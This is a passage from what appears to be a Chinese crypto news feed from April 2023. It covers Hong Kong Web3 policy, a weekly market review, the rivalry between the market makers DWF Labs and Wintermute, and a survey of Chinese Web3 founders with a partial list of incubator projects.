虽然近期的蓝筹 NFT 叙事和发展格局正在进入调整期，但是 NFT 交易市场却热闹非凡。无论 Opensea 是否能够维持其护城河，「Blur 机制」们是否会继续带动 NFT 市场流动性，高手之间的竞争一定会让 NFT 交易平台在用户体验、产品创新、奖励机制上有所突破。  ( 5 min )
    香港财政司长：将推进Web3、虚拟资产等金融创新在监管和便利间取得平衡
    PANews 4月14日消息，据界面新闻报道，香港财政司司长陈茂波今日在参加2023年数字经济峰会时表示，Web3的出现正在引发金融科技的新一轮创新浪潮。香港5年前只有大约180家金融科技公司，现时已有逾800间相关企业，包括跨境金融服务、区块链服务等。虚拟资产、稳定币、DeFi、NFT等。这些技术将在未来几年成为金融转型的主要力量，这是不可逆转的趋势。但与此同时，一些重要的问题出现，例如，是否存在监管漏洞？是否会向传统金融体系传递风险，威胁金融稳定？如何最好地保护个人投资者免受欺诈和诈骗？陈茂波表示，在推进Web3、虚拟资产和其他金融创新方面，香港政府会继续在监管和便利之间取得适当的平衡。港府致力于为金融科技公司的蓬勃发展营造有利环境。  ( 1 min )
    Amber Group考虑出售日本子公司，并拟申请香港数字资产牌照
    PANews 4月14日消息，据彭博社报道，加密货币贷款机构Amber Group正在权衡其日本子公司的选择，包括可能的出售，并计划申请香港数字资产牌照。Amber的执行合伙人Annabelle Huang表示，对日本业务的评估是其战略决策的一部分，该战略决定更多地关注机构业务，而不是零售业务。  ( 1 min )
    加密市场一周复盘（4.7-4.14）：比特币站上3万美金，风险情绪升温
    原文：《市场中继强势，ETH升级解锁| Foresight Ventures Weekly Brief》 作者： Peter Jonas 货币流动性改善。美国3月CPI同步增长5%略好于预期，坐实美联储5月最后一次加息25个基点的市场预期。较低的加息预期正在拉低美元指数，股票、加密货币等风险类资产都可能受益。但在过去20年中，每次加息周期结束的3个月内，美股都会由于经济衰退大跌。所以这轮反弹可能在5月加息时结束，开始几个月的调整。当然大趋势还是上涨，市场很难再回到去年低点。 二、全市场行情 市值排名前100涨幅榜： 本周市场震荡上涨，BTC统治率达到过去10个月高点的49%，对该指数的进一步上涨变得更加谨慎。ETH基本跟随BTC走势，但相比BTC有转强的迹象。 ETH：虽然上海升级将有15%解锁约350亿美元，但每天实际解锁约2亿美元，主要抛压集中在第一周，影响有限。所有质押的ETH 的平均存款价格为2136美元，目前仍处于亏损状态。 INJ：基于INJ的dex交易所平台Parallel上线，支持现货、合约、外汇业务。INJ做空费率一度高达-0.2%，逼空式上涨。 PENDLE：固定利率衍生品的Pendle的TVL持续创新高，受益流动性质押市场扩大，未来有上大所预期。 1）链上数据 市场处于复苏阶段。大多数BTC似乎在链上相当不活跃，这表明投资者对普遍的上升趋势继续有信心。小于3个月的热钱份额目前接近周期低点，约占10-15%，类似之前底部形成时期的典型情况。 资金面基本持平，以存量博弈为主。主要稳定币USDT、USDC、BUSD和DAI的总市值趋势，已经连续12个月在下降。其中USDT的供应量已经扩大到800亿美元，现在稳定币市占率64%。排名第二的USDC自硅谷银行破产期间短暂与美元脱钩以来，USDC总供应量下降了-25%。同时Paxos停止发行BUSD，BUSD总供应量下降了-52%。 长期趋势指标MVRV-ZScore以市场总成本作为依据，反映市场总体盈利状态。当指标大于6时，是顶部区间；当指标小于2时，是底部区间。MVRV跌破关键水平1，持有者总体上处于亏损状态。当前指标为0.74，进入复苏阶段。 2）期货行情 期货资金费率：本周费率为略正，费率健康。费率0.05-0.1%，多头杠杆较多，是市场短期顶部；费率-0.1-0%，空头杠杆较多，是市场短期底部。 期货持仓量：本周总持仓量上涨，市场主力加仓看好后市。 期货多空比：0.8。散户情绪偏空，行情走势健康。散户情绪多为反向指标，0.7以下比较恐慌，2.0以上比较贪婪。多空比数据波动大，参考意义削弱。 3）现货行情 第一季度BTC价格上涨了70%，许多投资者重新进入获利状态。ETH/BTC汇率走强，ETH大概率在上海升级抛压后进行补涨。预计美联储5月最后一次加息后，市场或跟随美股交易经济衰退而调整几个月。明年4月底左右将是BTC的减半周期，预计提前半年即第四季度，将配合美联储的降息放水，市场有望进入牛市主升浪。 B. 市场数据 一、公链总锁仓量情况二、各公链TVL占比情况 本周TVL总量上升4.3b。ETH链占比继续上升，相比上周增加～2%，从上周的59.15%上升到61.3%，近几个月的大趋势看eth生态的TVL也在稳定上升。从近七日的数据看，Optimism的TVL已经连续几周下跌，本周下跌0.69%，其他Layer2的公链都在继续上涨。Arbitrum上涨0.5%，Polygon上涨0.61%，、Avalanche上涨0.64%。 当前链上转账费用约为1.3U，Uniswap交易费用约为11.78U，Opensea的交易费用约为4.57U。Gas走势较上周变化不大，仍处于底部区间的阶段，从gas消耗看，Uniswap占据头部位置，Arbitrum sequencer也非常活跃. 本周从市场份额看blur占据约66.6%，相比上周同期上升12%。opensea占据份额约为21.5%。从短期买家分析看，returning buyer处于低谷，但拉长周期到90天看，returning buyer处于上升趋势。整个NFT交易市场的活跃性还是没有被带动起来。  ( 3 min )
    银保监会：以元宇宙、虚拟货币、数字藏品等为噱头的集资变种有所抬头
    PANews 4月14日消息，据财联社报道，记者从银保监会相关处获悉，近年来民间投融资、市场零售、养老等领域风险多发，以元宇宙、虚拟货币、数宇藏品等为噱头的集资变种有所抬头，打着科技创新、绿色转型、乡村振兴等政策旗号的集资骗局也在不断滋生。同时，不少犯罪分子通过线上线下结合的方式跨省跨域非法集资，显著加大了风险发现难度。  ( 1 min )
    外部压力下，DeFi之夏还能否重现？
    作者：Darren Kleine | Blockworks 编译：Felix, PANews 当DeFi还是一个新事物时，加密行业痴迷于这个快速发展的赛道及其众多创新。这一段时间，是DeFi之夏。 但鉴于当前的宏观经济状况和重点监管，情况发生了变化。DeFi之夏已是遥远的历史。 在最近一期的《Empire》播客中，Compound Labs创始人Rob Leshner回答了一个关于DeFi可能重回夏天的问题：究竟是什么，会把人们拉回DeFi？ Rob Leshner首先介绍了当前形势：“去年发生的真正大的趋势之一是传统金融的利率已经超过了DeFi利率。其中一个问题是像SVB这样的银行因承担了太多的利率风险而倒闭。” Rob Leshner说：“另一个原因是人们不再像以前那样试图赚取DeFi利率了。” 他解释说，截至目前，赚取短期国债的利息要比DeFi利息更容易。最重要的是，最近的事件导致了投资者极为敏感，投资者对所有交易对手的信任度都降低了，即使是最可信的交易对手也是如此。 但Rob Leshner预计DeFi自身的优势会把人们拉回来。Rob Leshner认为，DeFi与传统金融体系的不透明形成了鲜明对比，DeFi的优点在最近的经济灾难中凸显出来。该领域过去的灾难，如FTX惨败，导致用户对传统金融体系失去信任，使得用户更倾向于自我管理和透明。 “相信他们的话，或者自己去验证。如果你不用担心自己被欺骗，这会是一件很震撼的事情。” Rob Leshner称，自动化是DeFi比CeFi更具优势的另一个重要特性。“DeFi全天候24*7自主工作，没有真正的管理者或维护。与CeFi的任何工具相比，长期、自主的智能合约，本身就被视为一种实施金融市场和产品更好的工具。 Sommelier联合创始人Zaki Manian表示，自己经营银行的想法很棒，这意味着人们不需要再相信那些不透明的、中心化的机构，但他表示，目前还行不通，因为用户必须承担自己经营银行的复杂而艰巨的工作。 Zaki Manian认为，自动化是解决这个问题的方法。它允许用户享受非托管、透明的DeFi体验，同时将赚取收益、管理投资组合等复杂性工作转移到适应性市场策略中。 自动化还可以使稳定币产生收益，“这与你从国债中获得收益，以及使用加密资产进行金融性操作（注：例如买卖币、“挖矿”等）获得收益相比，更具竞争力。” Zaki Manian坚称：“除了当前代表投机性的流动性类型之外，这些类型的收益产生对于吸引资本进入该领域至关重要。” 尽管如此，Zaki Manian承认，仍有需要改进的地方。目前正在改进的主要有两个方面：一是用户体验差距，太多的DeFi对非加密人士来说是难以理解的；二是在提供的产品种类上，DeFi相对于传统金融而言存在差距。 “人们想要功能强大、易于使用的产品。” 随着时间的推移，DeFi的自主性对开发者和市场而言，具有巨大的吸引力。相比之下，维护传统市场（包括记账、对账等活动）的工作量是惊人的。 Leshner补充说，将人们拉回DeFi的最后一个因素是它的可组合性。由于系统的互操作性，DeFi中某一领域的进步有利于整个生态系统。"当你成为DeFi用户后，你可以同时受益于不同应用程序平台的所有改进。"这是一个强大的功能，就像一股看不见的风潮，形成持续改进的网络效应。 Leshner相信，人们将全面回归DeFi。“它的优点是如此强大，最终DeFi将获胜。最近的所有灾难都在强化这一事实，让我比以往任何时候都更有信心。”  ( 2 min )
    币安完成第23次BNB季度销毁，共计销毁约202万枚BNB
    PANews 4月14日消息，币安发布公告称，根据BNB自动销毁机制，第23次BNB季度销毁已完成。本次共计销毁2,020,132.25枚BNB，其中包括BNB反黑洞计划中额外销毁的656.0230123枚BNB。  ( 1 min )
    韩检方发现Do Kwon涉嫌欺诈新证据，Terra崩盘前其曾向某律所汇款90亿韩元
    PANews 4月14日消息，据KBS News报道，韩国检察官发现，在Terra崩盘前不久，Do Kwon曾向韩国一家大型律师事务所Kim & Chang汇款90亿韩元（约700万美元）。检察官正在追踪这笔钱的来源。韩国检察官称，这可以推断，Do Kwon提前意识到了Terra崩溃的可能性，并准备了法律应对措施。这可以作为证明Do Kwon涉嫌欺诈的另一个依据。  ( 1 min )
    Ripple推出面向企业的加密货币流动性平台Ripple Liquidity Hub
    PANews 4月14日消息，据官方博客，Ripple宣布正式推出面向企业的加密货币流动性平台“Ripple Liquidity Hub”，旨在为企业提供简易、无缝的方式来管理其加密货币流动性需求。这是一种独立于其跨境支付解决方案的独立方案，利用其全球网络为合作伙伴提供全球支付渠道。 根据该博客，Ripple Liquidity Hub平台24/7/365全天候可用，利用智能订单路由在多个流动性场所（包括做市商、交易所和场外交易柜台）以优化的价格采购各种数字资产。最初支持美元、BTC、ETH、ETC、BCH和LTC，但未提及XRP。而其在2021年宣布该计划时，曾宣布支持XRP。  ( 1 min )
    一文了解DWF Labs与Wintermute的“恩怨对局”及做市项目
    原文：《DWF Labs与Wintermute隔空互怼？两大做市商做市项目一览》 作者：FYJ、Noc、0x711，BlockBeats 回顾近期行情，比特币重返 3 万美元，带领市场向上，一众热门山寨轮番表演。热门标的中，OP、BLUR、ARB 由 Wintermute 做市，CFX、MASK、ACH 背后则有 DWF Labs 的身影，甚至有有传言称 DWF Labs 为香港概念龙头 Conflux（CFX）最大庄家，两家机构在市场中翻云覆雨，风头可谓一时无两。 除了明面上二级市场的项目竞争，两家主流做市商私底下也不太和谐。 3 月以来，DWF Labs 以月均大概 5 个项目的速度在二级市场扫货，如此频繁出手，引发社区热议，有人说 DWF 不是真投资，拿币就是为了做市。对此，DWF Labs 合伙人 Andrei Grachev 两天前回应质疑，「除了投资，我们通常会带来额外的支持」，算是默认了这种「投资+做市」的复合型运作模式。 有趣的是，Andrei Grachev 紧接着在社交媒体转发了一条 Thread，该条推文先是转发了 The Block 对 DWF Labs 包含质疑的追踪报道，而后话锋一转，回顾起 The Block「接受 FTX 秘密投资」、「前 CEO 收了 SBF 的钱在巴哈马买别墅」、「被 CZ 实锤曾乱报道警察闯 Binance」，以及「删除自家旧新闻稿件」四大黑历史，最终抛出关键信息：3 月 31 日，The Block 任命 Wintermute 首席执行官 Evgeny 为董事会成员，同时 Evgeny 称「绝不涉及资金往来」。 两周后，The Block 主动披露 Evgeny「持有股权」。 而后作者得出推论，是 Wintermute 在指使 The Block 抹黑 DWF Labs。 文中随后又指责了 Wintermute 在 ARB 上做市不力，以及去年 Wintermute 由于使用靓号地址被黑客在 DeFi 攻击中盗币 1.6 亿美元一事。不知是有心还是无意，Andrei Grachev 在回应对 DWF Labs 的质疑时阐释了其安全理念，言语中反复强调「我们从不在链上钱包中存储太多资金——做市商和资金被黑客攻击的案例太多了，我们不想成为受害者」。 黑稿白稿的存在，找不到实锤的证据，但 Wintermute 与 DWF Labs 之间的剑拔弩张却确有其事。此前 4 月 10 日，Wintermute 首席执行官 Evgeny 已转发一条爆料 Andrei Grachev 的推文，文中深扒了 Andrei Grachev 大量的过往经历，指出其曾是 Huobi 俄罗斯地区负责人，更被认为与臭名昭著的加密史上最大诈骗项目 OneCoin 有所牵扯。但 Evgeny 主要点评了文中总结的 DWF Labs 糟糕的投资表现，并称其为「错误的做市商」。 前后两天，Andrei Grachev 在社交媒体上大谈 DWF Labs 经营理念，并披露做市细节以回应质疑，Evgeny 的冷嘲热讽也持续不断。 如此频繁的隔空对轰让人很难不相信背后是否存在切实的利益争夺，BlockBeats 通过总结两家做市商的做市 Token，发现其中存在较为明显的风格差异，其中 Wintermute 以基本面良好的欧美蓝筹项目为主，而 DWF Labs 异军突起，以东亚项目、各路新老情绪题材标的为主要做市目标，二者代表了市场两种截然不同风格的赚钱效应，但相同的是，双方旗下项目基本瓜分了目前市场阿尔法的半壁江山，OP、ARB、CFX、MASK，都是热点中的焦点，风格的话语权背后是对市场资金的瓜分，如此互相针对也就不足为奇了。 链上数据显示，2022 年 3 月 4 日和 18 日，共有 350 万 APE 分两笔转入 Wintermute 做市地址。 Ape 上线前一日即 2022 年 3 月 16 日，Wintermute 多签地址内的 APE 被转移至链上标记为 Wintermute 1 的地址，后通过中间地址发送至多家中心化交易平台（Binance、Coinbase、KuCoin 等）。 根据 K 线可以大致推测，2022 年 3 月 17 日 APE 开盘上线，当日最高价为 28 美元，Wintermute 将 APE 利用中心化交易平台的高价开盘进行抛售，之后再从 Uniswap 以相对低的价格买入此前被抛售的筹码，同时承接 APE 空投的抛压并稳定价格。 在中心化交易平台经过一段时间地反复做市吸筹之后，2022 年 4 月 28 日 APE 价格第二次被拉至前高附近，当日最高价为 27.602 美元，Wintermute 再次通过多个中间地址将 APE 转入 Binance 完成出货，获得大量收益。 此后，Wintermute 便开启逐步减持 APE 的过程，直至 2022 年 6 月完全退出 APE 市场。截至发文时，APE 暂报 4.601 美元。 2022 年 6 月，Optimism 基金会邀请加密货币做市商 Wintermute 提供流动性供应服务，以促进获得 OP 的用户参与集体治理的更顺畅的体验。为了开展这项合作，基金会的「合作伙伴基金」向 Wintermute 分配了 2000 万枚 OP 代币的临时赠款。 虽然此次合作中由于双方沟通与技术失误出现了 OP 被盗事件，影响了 OP 上市初期的币价表现。但在妥善解决黑客事件，并经历了一个多月的下跌与筹码交换后，OP 于 7 月中旬突然逆势大涨，20 天内从 0.4 美元附近一路拉升至 2.2 美元上方。 BLUR 链上信息显示，Wintermute 做市地址在 2023 年 2 月 14 日和 15 日分两笔共收到 1500 万枚 BLUR，随后其将筹码转入各大交易平台做市。 币价表现方面，BLUR 不尽如人意，在经历上市初期短暂拉盘创下 1.4 美元高点后，BLUR 开始一路下跌，在 0.4-0.5 美元区间震荡，值得注意的是，其近两日表现突出，从 0.56 美元拉升至 0.66 美元，涨幅接近 20%。 ARB 据公开信息，2023 年 3 月 23 日，Arbitrum 基金会将 5000 万枚 ARB 转移至 Wintermute 地址，其中 4000 万枚用于做市。 顶着第一大 Layer2 光环的 ARB 在上市初期币价与大家预期基本一致，保持在 1.3 美元附近波动。随后社区爆出 Arbitrum 基金会在 AIP-1 提案尚未通过的情况下就将 ARB Token 进行转移、分配，将 7.5 亿枚 ARB 划转至「行政预算钱包」等利空消息，受此影响 ARB 一度下探至 1.1 美元左右。目前，ARB 的走势似乎正在复制 OP 的剧本，在经历利空事件币价打压后，ARB 从 4 月 13 日开始持续拉升，已从 1.15 美元低位拉升超 30%。 目前已知 Wintermute 做市地址仍有 3459 万枚 ARB，Wintermute 是否会复制此前 OP 的拉盘手法，值得关注。 2022 年 9 月 1 日，MXC 于近日上线 Coinbase Pro，同时宣布获得全球顶级量化基金 DWF 数千万美元投资。MXC 于 2018 年在德国柏林成立，通过四年时间帮助全球 177 个国家的社群建立了全球领先的 Web3 物联网络，目前得到德国铁路，荷兰 GIN 1689 等企业的物联网和 NFT 上链应用。 值得注意的是，今年以来，MXC 币价表现十分低迷，从年初 0.033 美元附近已逆势下跌至 0.019 美元。 2022 年 9 月 16 日，据官方消息，Conflux 获得 Web3 风投机构 DWF Labs 战略投资，具体融资金额未披露。 CFX 今年以来表现十分亮眼，从年初 0.03 美元到现在的 0.4 美元，妥妥的 10 倍币。 2022 年 11 月 17 日，DWF Labs 宣布承诺拨款 1000 万美元支持 TON 生态系统。未来 12 个月内，DWF Labs 还计划进行总共 50 次种子轮投资，旨在加速 TON 及其项目的增长。 2023 年 1 月 19 日，DWF Labs 宣布与 Mask Network 进行战略投资和合作，通过购买价值 500 万美元的 MASK Token 进行了投资，该投资将用于支持去中心化社交网络和整个 Mask Network 生态系统的持续建设，使 Web3 更易于访问。 与 CFX 类似，MASK 也是今年以来全市场涨幅排名靠前的币种，从去年的推特概念币到如今的香港概念，币价连连攀升，从去年 10 月 0.965 至如今的 5.76 美元，涨幅近 6 倍。 2023 年 2 月 17 日，链游公会 Yield Guild Games（YGG）已通过出售 Token 募集到 1380 万美元资金，DWF Labs 和 a16z 领投。YGG 联合创始人 Gabby Dizon 透露，YGG 将利用这笔新资金进一步开发其灵魂绑定声誉 Token。 YGG 今年以来币价暂未有亮眼表现，目前持续在 0.2-0.3 美元震荡。 2023 年 3 月 14 日，加密基础设施开发商 Orbs 计划从 DWF Labs 筹集 1000 万美元。Orbs 表示，DWF Labs 将购买价值高达 1000 万美元的 Orbs Token。Orbs 首席执行官 Nadav Shemesh 表示，总投资的第一部分于今日结算。他补充说，其余的投资将「按平均价格计算」。 2023 年 3 月 17 日，DWF Labs 与 Synthetix 财政委员会达成协议，将在中心化与去中心化交易平台为 SNX 提供流动性与做市商服务。DWF Labs 承诺以多种方式成为 Synthetix 协议成员，包括：集成与交易 Synthetix 永续合约、在 Epoch 选举期间参与 SNX 治理、参与社区与产品交流。 2023 年 3 月 23 日，Layer1 公链 Radix 宣布完成 1000 万美元融资，本轮融资完全由 DWF Labs 支持，投后估值达到 4 亿美元。Radix 首席执行官 Piers Ridyard 表示，DWF 已经提供了 800 万美元的资金，剩下的 200 万美元将在不久的将来提供。据悉，Radix 有自研的共识系统和执行环境，预计将于今年第二季度推出名为 Babylon 的主网。 2023 年 3 月 28 日，据 The Block 报道，Irene Zhao 创立的 Web3 社交平台 SO-COL 完成 450 万美元新一轮融资，本轮融资完全由 DWF Labs 支持。 2023 年 3 月 30 日，区块链客户奖励平台 apM Coin 宣布已从 DWF Labs 获得 500 万美元的投资和价值 150 万美元的可选合作合同。apM Coin 表示，通过与 DWF Labs 的投资和合作，将共同开发和扩展 apM Coin Project 的链间支付解决方案。 2023 年 4 月 3 日，总部位于新加坡的加密支付服务提供商 Alchemy Pay 宣布以 4 亿美元的估值完成 1000 万美元融资，此轮融资由 DWF Labs 领投，资金将用于扩大其在韩国的业务。 香港和支付概念双重叠加，从年初 0.0072 美元到现在的 0.041 美元，今年以来已有近 5 倍涨幅。 2023 年 4 月 4 日，足球元宇宙项目 TOPGOAL 宣布获得 DWF Labs 数百万美元投资。公告称这项投资将使 TOPGOAL 能够建立一个由人工智能和区块链技术驱动的足球元宇宙，进一步实现其将体育带入 Web3 并创造新的数字和虚拟体验的愿景。 2023 年 4 月 6 日，链游 RACA（前身为 Radio Caca）获 DWF Labs 1600 万美元投资，该项投资包括购买若干 RACA Token，所筹资金将帮助 RACA 推进其 Web3 游戏生态系统的目标。RACA 成立于 2021 年，最初为 Elon Musk 母亲 Maye Musk 的 NFT 管理者，目前已推出 R3 游戏基础设施、SimCity 风格的沙盒游戏 USM.WORLD、社交派对游戏 Looki Looki Jazzi、跨游戏 DID 钱包 JAZ 和 NFT 市场。 融资消息发布后，RACA 一度涨超 20%，目前小幅回落，横盘震荡中。 2023 年 4 月 10 日，NFT 基础设施协议 LABEL 宣布，已获得 DWF Labs 100 万美元风险投资。LABEL 旨在建立公平的利润分享生态系统。该生态系统由 LBL 实用程序和治理 Token 提供支持。此外，LABEL 引入了去中心化的 P2P 孵化平台，通过 DAO 投票系统投资娱乐教育内容，该系统为 MOOC 行业的内容创作者提供了对其知识产权进行推广和分配的便捷途径。 2023 年 4 月 11 日，DWF 再次宣布 1000 万美元投资，此次投资为收购 RSS3 价值 1000 万美元的 Token。此前，RSS3 宣布将上线 AI 开放平台 AIOP，为 GPT 等 AI 模型提供 Web3 信息源，RSS3 旨在成为把 Web3 与 AI 、搜索引擎和社交媒体有机结合的创新协议。 2023 年 4 月 13 日，EOS Network 获得 DWF Labs 6000 万美元投资。二者已签署 4500 万美元的 EOS Token 购买协议和 1500 万美元的投资承诺。  ( 9 min )
    HashKey PRO将于第二季度正式上线，已就法币存取款与两家香港银行达成合作
    PANews 4月14日消息，据官网消息，虚拟资产集团HashKey Group宣布，旗下全新的合规交易平台HashKey PRO在第二季度正式上线。HashKey PRO已获得香港证券及期货事务监察委员会（证监会）的批准，持有第1类（证券交易）和第7类（提供自动化交易服务）牌照，运营虚拟资产交易平台。 该平台提供法币出入金支持，允许用户通过SWIFT实现美元直接转账至HashKey PRO法币钱包。目前，HashKey PRO已支持来自全球16个国家地区的银行转账。HashKey PRO目前已经与香港众安银行（ZA Bank）和交通银行（香港）建立了伙伴关系，作为结算银行，提供法币的存款和提款服务。 此前昨日消息，Hashkey Group宣布将推出生态积分HSK，不过HSK仅用于赠送给生态贡献者，不会有任何售卖行为。 相关阅读：HashKey Group将发布生态积分，一文读懂HSK的权益和分配机制  ( 1 min )
    Web3Hub基金行政总裁：将发起规模为1亿美元的Web3生态基金
    PANews 4月14日消息，在2023香港Web3嘉年华分会场四《MetaEra x BitMart专场：Metaverse的机遇在哪里》分论坛中，香港Web3Hub基金行政总裁黄俊瑯发表致辞称，将发起规模为1亿美元的Web3生态基金，立足于香港，投资全球的完善项目，还将推动全球Web3规范发展。 此外，在此前宣布的香港1000万美元Web3Hub生态加速器中，会在第一期中投入100万美元来支持各位创业者，开放申请时间为4月14日到5月14日。在过去两个月中已经有350家Web3企业来到香港注册，已经有100个战略合作伙伴，预计将创造超过1000个就业机会。  ( 1 min )
    币安已更新用户ETH存款地址，不要使用旧地址否则资产可能会丢失
    PANews 4月14日消息，据Web3知识图谱协议0xScope监测，币安刚刚将用户ETH存款地址更新为新的TSS地址。提醒用户不要使用旧存款地址否则资产可能会丢失。 此外根据其分享的页面显示，币安在存款注意栏中写道，用户不要将币安存款地址定义为验证者奖励的接收地址，不支持从节点发送到币安存款地址的验证器奖励。  ( 1 min )
    华人Web3创业者画像：面谈228个创始人后，我们有如下7点洞察
    原文：《面谈228个华人Web3创始人后，我们有如下7点洞察》 作者：万物岛 经过2个月的报名与选拔，与200余个项目的创始人每人至少进行了30分钟的面谈交流后，最终成功入选65个进入首期万物创造营，覆盖领域包括Tool、Social、Defi、Game、Infra、AI、Metaverse、DAO等多个赛道，绝大多数项目均已完成至少1轮融资，且产品具备可用性并取得了一定业务数据，在短时间内大量的与如此之多的创业者沟通后，我们的脑海中模糊的画出了一张当前华人Web3创业者的全景画像... 请注意以下内容仅根据本次万物创造营所面试面试项目的样本进行统计和归纳，不完全代表真实结论 超过72%的团队核心成员中具备大厂、名校与海外工作学习的背景，65%以上的创始人具备2次及以上创业经历。 Web3创业者的人才密度极大的提升后，野蛮生长已进入尾声，随着越来越多的专业化与国际化人才开始进入，行业的持续性和正规性也将得到极大提升，但与此同时创业者之间的竞争压力也会增大。 将报名的数量按照宽泛的赛道分类后，占比最大的为工具类型，印证华人创业者需求驱动问题解决的务实特性。 在面谈的所有项目中，工具类产品如数据工具、交易工具、DAO工具等占比最高，工具是属于从起点到终点显性且线性的创业路径，但同样也更拼效率、技术和用户洞察的作战能力。 75%为连续创业者，68%为Web3原生创业者。 之前所猜想的大量BAT“下海”Web3创业的浪潮尚未规模出现，仅有较少比例为首次从Web2进入Web3创业，其中不少大厂成员处于兼职阶段，部分Web2进入Web3创业者也存在水土不服情况，即经历对行业认知缺乏后从傲慢到阵痛到怀疑的阶段。 尽管万物创造营报名门槛较为严苛，但依然短时间内完成200余个项目的对谈，各背景、赛道、年龄段均有覆盖。 随着传统行业发展红利进入尾声，Web3人才密度的增加以及稳健合规的趋势，Web3的超早期野蛮生长阶段即将结束，Web3创业将经历游击队到正规军的转变，不少创业者抱有抢占红利窗口期的心态。 在已拿到融资的项目中，40%估值超过2000万美金，数个项目估值超过6000万美金。 目前整体市场环境依然处于较冷状态，机构出手谨慎，撒钱模式关闭，项目融资难度依然较大，但与此同时，在这个环境下成功完成融资的项目是经过考验的，所以经过更严格环境筛选留下的项目依然可以取得不错的估值，好项目更是存在多家机构争抢份额，风浪越大鱼越贵！ 仅3.5%的项目为DAO及社区类型，DAO是一种新型的组织形式，但也许目前还不是一种有效的商业组织形式。 纵观全球，DAO目前在商业视角也鲜有跑出来的成功案例，DAO相比于传统公司制的魅力在于通过共识与去中心化来极大的调动全球性人才，但不论是DAO的理论、基础设施、组织模式的不健全，使得在对DAO的理解和运转效率均会产生摩擦，尤其是商业这样强组织协同生产的领域，尚未成为创业者选择的主流。 绝大多数项目不论团队还是产品的状态在对谈完后均能够感受到一个字“稳” ，Build感与使命感非常强，投机型项目依然存在但难以被得到认可。 本次香港大会及相关的产业政策，给华人Web3创业中注入了一剂强心针，打开了一扇让4月春风吹入的窗户，我们在现场也感受到大家的热情和期待，香港给了那些默默做事Build行业的创业者一个光明正大的舞台，但我们也要谨防春风变暴雨，如肖风所说：“稳慎前行才能让 Web3 在香港行稳致远”。 ----------【附首期入营全名单】---------- ▎0xScope 0xScope是提供Web3知识数据的data layer，采用图计算解决多地址分析和Web3画像数据质量差的问题。 官网：https://0xscope.com/ ▎Angel Protocol Angel Protocol是基于生息资产的再投资协议。 官网：https://angelbond.io/ ▎ARKS Labs ARKS是现实世界资产RWA进入链上的通用型动态NFT流动性解决方案平台 官网：https://arkslabs.io/ ▎Ascendant Ascendant是一个AI驱动的玄学系统。将AI用于训练占星模型，提供给用户高度交互性的玄学乃至身心灵的服务，同时Ascendant将深度结合AIGC和NFT技术，打造沉浸式的玄学元宇宙。 官网：https://ascendant.fun/ ▎AssetClub Assetclub是一款致力于金融垂直赛道的游戏，打造了投资模拟游戏+社交一体化的体验，并通过游戏进行Web3投资教育，最终围绕游戏构造web3投资的社交平台。 官网：https://www.leapthinking.com/ ▎Avault Avault是首个一站式全链收益聚合平台。目前已经实现Arbitrum、Optimism、BNB chain、Polygon四条网络用户的一键跨链户操作，为crypto用户实现了一键全链资产配置。 官网：https://www.avault.network/ ▎Beez Finance 为持有加密资产的组织和个人提供便捷和合规的消费和代付服务。 官网：https://beeztrip.com/ ▎Biteye Biteye 是亚洲领先的Web3研究社区，通过社区驱动和人工智能的方式产生投研内容和工具。 官网：https://biteye.info/ ▎BlockModel BlockModel 是一个针对 Tokenomics 智能设计和自动化审计的开放平台，为用户提供一站式的 Tokenomics 解决方案，激励围绕 Tokenomics 的创新生态。 官网：https://block-model.com ▎BUDDH.AI 基于区块链和人工智能、脑机结合技术构建的web3项目，服务于全球八亿佛教文化爱好者。 官网：https://buddh.ai/ ▎Cell Protocol Cell Protocol 是一个基于去中心化社交身份的、有机的、可组合的、可进化的社交图谱协议。 官网：https://cell3.me/ ▎Chaintool Onestop AI 支持的 RiskOps 平台，适用于 Web 3 业务，提供 AML 合规性和欺诈预防解决方案。 官网：https://Chaintool.ai/ ▎Civia Civia 是一款社交软件，具有基于真人的社交恢复功能，使用户能够通过 SBT 在链上建立身份、社交关系和声誉。 官网：https://civia.org/ ▎Createra Createra是一个社区驱动的由用户生成内容UGC的元宇宙项目，让玩家够创建、分发和MetaFi的游戏。 官网：https://Createra.fun/ ▎CredAI CredAI分DeFI、GameFi、NFT等不同赛道对所有链上项目进行量化建模评分，并以金融级的要求确保AI模型的可解释性，实现投资组合的优化。 官网：暂无 ▎CrossSpace Web3的社区管理和商业社交平台。 官网：https://crossspace.io/ ▎Cryptobricks CryptoBricks通过大规模社交数据、链上交易数据及其他相关数据进行数据爬取、清洗、整合、比对、分析，赋能C端及B端客户，输出数据及分析洞察成果。 官网：https://www.cryptobricks.xyz/ ▎CypherBabel Index CypherBabel Index（CBI）专注于加密指数构建及加密指数投资相关的技术、产品和服务。 官网：https://incre.cypherbabel.com/ ▎db3 network db3 是一个去中心化的数据网络，可以为 web3 应用程序实现数据互操作性。 官网：https://db3.network/ ▎Desmo Labs 帮助现实世界资产RWAs上链，同时推出了创新数字资产交割方案以及融合监管科技KYC和KYB的数字身份验证方案。 官网：https://desmolabs.org/ ▎Dynavo Dynavo是下一代NFT基础设施，其协议和领域专用链方便使用者创建和销售可交互、可互操作的动态NFT。 官网：https://dynavo.xyz/ ▎Elven Elven是加密资产财务透明合规第一平台，为web3项目方、金融机构和监管机构提供一站式的记账、财报、报税和审计服务，以提升财务透明度和合规性。 官网：https://elven.com/ ▎EX3 EX3是一个拥有中心化交易所体验和全链兼容能力的下一代去中心化交易所，我们实现了去中心化交易所的透明可信、百万TPS、全链资产及钱包兼容。 官网：https://hk.ex3.one/ ▎Exbee Exbee 是一个数字商品与加密货币的 Web3 交易平台，我们的使命是帮助建立一个自由交换的世界。用户可以安全、高效的交易数字礼品卡、游戏道具等商品。 官网：https://exbee.io/ ▎Falcon Falcon是新一代的web3投资基础设施，通过多因子模型和AI，帮助用户“选、买、管、卖”加密资产，并支持无代码构建且回测完整的交易策略。 官网：https://falcon.lucida.fund/ ▎FaTPay FaTPay 是一家提供一系列基于区块链的金融基础设施服务的公司，包括法定支付、钱包和场外交易，该公司已在欧盟和加拿大获得许可。 官网：https://fatpay.org/ ▎Furion Furion 是一个碎片化NFT应用平台，以提高NFT流动性和应用场景。 官网：https://furion.io/ ▎GameCreator GameCreator是一款基于游戏模板创作和开发者社区的可视化游戏制作工具，让开发者可自由分享游戏模板、插件、素材以及交流。 官网：https://www.gamecreator.com.cn ▎HIPO HIPO是去中心化票据资产流动性协议，通过创新的算法模型、利率价格发现机制以及丰富灵活的交易功能，致力于构建Defi生态上票据类资产的流动性市场。 官网：https://www.hipo.one ▎HotpotDAO Hotpotdao 是第一个具备社区经济模型所有基本功能的平台，也是无代码、全周期经济模型、灵活的 Bonding 